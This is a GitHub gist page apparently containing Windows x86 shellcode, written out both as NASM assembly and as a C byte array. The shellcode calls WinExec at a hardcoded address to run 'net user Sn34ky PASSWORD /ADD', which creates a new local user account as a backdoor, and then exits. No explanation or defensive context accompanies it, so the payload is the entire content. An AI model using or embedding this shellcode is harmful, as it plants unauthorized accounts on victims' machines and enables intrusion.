Skip to content

Instantly share code, notes, and snippets.

@AVGP
Created September 21, 2010 12:28
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save AVGP/589604 to your computer and use it in GitHub Desktop.
Save AVGP/589604 to your computer and use it in GitHub Desktop.
global _start
_start:
jmp short getWinExec
callProc:
pop ebx
xor eax,eax
push eax
mov [ebx+40],al
push ebx
mov eax,0x7c8623ad ;WinExec
call eax
xor eax,eax
push eax
mov eax,0x7c81cafa ;ExitProcess
call eax
getWinExec:
call callProc
db 'cmd.exe /c net user Sn34ky PASSWORD /ADD0'
char code[] = "\xeb\x19\x5b\x31\xc0\x50\x88\x43\x28\x53\xb8\xad\x23\x86\x7c\xff\xd0\x31\xc0\x50\xb8\xfa\xca\x81\x7c\xff\xd0\xe8\xe2\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x53\x6e\x33\x34\x6b\x79\x20\x50\x41\x53\x53\x57\x4f\x52\x44\x20\x2f\x41\x44\x44\x30";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment